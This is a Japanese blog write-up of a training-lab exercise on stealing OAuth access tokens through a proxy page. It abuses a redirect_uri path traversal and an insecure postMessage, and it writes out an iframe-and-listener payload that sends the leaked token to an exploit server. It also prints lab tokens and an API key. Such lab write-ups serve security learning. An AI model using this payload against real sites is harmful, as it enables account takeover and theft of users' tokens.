Shikata Ga Nai

Private? There is no such things.

Stealing OAuth access tokens via a proxy pageをやってみた

Hello there, ('ω')ノ

 

プロキシページを介してOAuthアクセストークンを盗むを。

 

このラボでは、 OAuth サービスを使用して。

ユーザがソーシャルメディアアカウントでログインできるようにして。

OAuthサービスによる検証に欠陥があると。

攻撃者がクライアントの任意のページにアクセストークンを漏らす可能性があって。

 

まずは、ログインして動作確認から。

 

f:id:ThisIsOne:20210511140944p:plain

 

上記のページまでの流れは下記のとおりで。

 

f:id:ThisIsOne:20210511154624p:plain

 

レスポンスから下記へリダイレクトされて。

 href="/interaction/Ow9seXyWUx_eGFzvZ0yWG">

 

f:id:ThisIsOne:20210511154538p:plain

 

リダイレクトされたページで。

 

f:id:ThisIsOne:20210511154649p:plain

 

Continueをクリックすると。

 

f:id:ThisIsOne:20210511155310p:plain

 

システムが認証を確認した後にリダイレクトして。

現在のセッションaccess_tokenを。

クライアント側のブラウザのURLフラグメントとして追加しているようで。

 access_token=U_WAnYnj4T59iRx8yk7bwND_efGdVCis1r-3fPv_39r

 

f:id:ThisIsOne:20210511155609p:plain

 

トップページに移動して。

 

f:id:ThisIsOne:20210511141104p:plain

 

下記を変更してSendするとレスポンスが反応して。

これで、access_tokenを別ページにリダイレクトできることがわかって。

 

 redirect_uri=localhost

 

f:id:ThisIsOne:20210511160332p:plain

 

各ブログの投稿ページのソースコードを見るとiframeが見つかって。

下記のページをBurpで確認すると。

 src="/post/comment/comment-form#postId=6

 

f:id:ThisIsOne:20210511163925p:plain

 

f:id:ThisIsOne:20210511165946p:plain

 

ソースコードを確認してみると。

postMessage()メソッドで、window.location.hrefが親ウィンドウに送信されていて。

 

f:id:ThisIsOne:20210511170156p:plain

 

また、Burpに限らずブラウザ上でも確認することはできて。

各ページには、読み込まれたときにwindow.location.hrefで。

投稿メッセージを作成する安全でないWebメッセージングスクリプトが。

window.location.hrefには、URLフラグメントが含まれていて。

重要なのは、投稿メッセージはすべての親リスナーに伝播されて。

 

 parent.postMessage({type: 'onload', data: window.location.href}, '*')

 parent.postMessage({type: 'oncomment', content: o}, '*');

 

f:id:ThisIsOne:20210511161353p:plain

 

このスクリプトをエクスプロイトサーバで、メッセージを表示する参考にして。

 window.addEventListener('message', function(e) {

 

f:id:ThisIsOne:20210511161926p:plain

 

エクスプロイトサーバへ移動して。

iframを作成して、redirect_uriでコメントフォームを指定して。

 

<iframe src="https://ac941f091e8af02f809694310291002f.web-security-academy.net/auth?client_id=mybdw8qvdjhfzbyxvu11p&redirect_uri=https://ac271fd51e14f03880af942f00650006.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email"></iframe>

 

その下にWebメッセージをリッスンして。

エクスプロイトサーバのアクセスログに。

Webメッセージを表示するスクリプトを追加して。

 

<script>
 window.addEventListener('message', function(e) {
  fetch("/" + encodeURIComponent(e.data.data))
 }, false)
</script>

 

f:id:ThisIsOne:20210511142936p:plain

 

Storeして、Viewで確認して。

 

f:id:ThisIsOne:20210511142900p:plain

 

Deliverして、ログを確認するとaccess_tokenがわかって。

 access_token%3DWZi9pb76b28eqkrW4zlHA_vK6-AFAH4kUzchdoTBXhH

 

f:id:ThisIsOne:20210511143216p:plain

 

下記のリクエストをリピータへ。

 

f:id:ThisIsOne:20210511143447p:plain

 

認証のトークンを置き換えてSendするとAPIが正常に呼び出されて。

 apikey":"JN8CbAquVomdKWSCJ9kPvME3vCESI8Ku

 

f:id:ThisIsOne:20210511143603p:plain

 

APIキーを入力して。

 

f:id:ThisIsOne:20210511143654p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210511143714p:plain

 

Best regards, (^^ゞ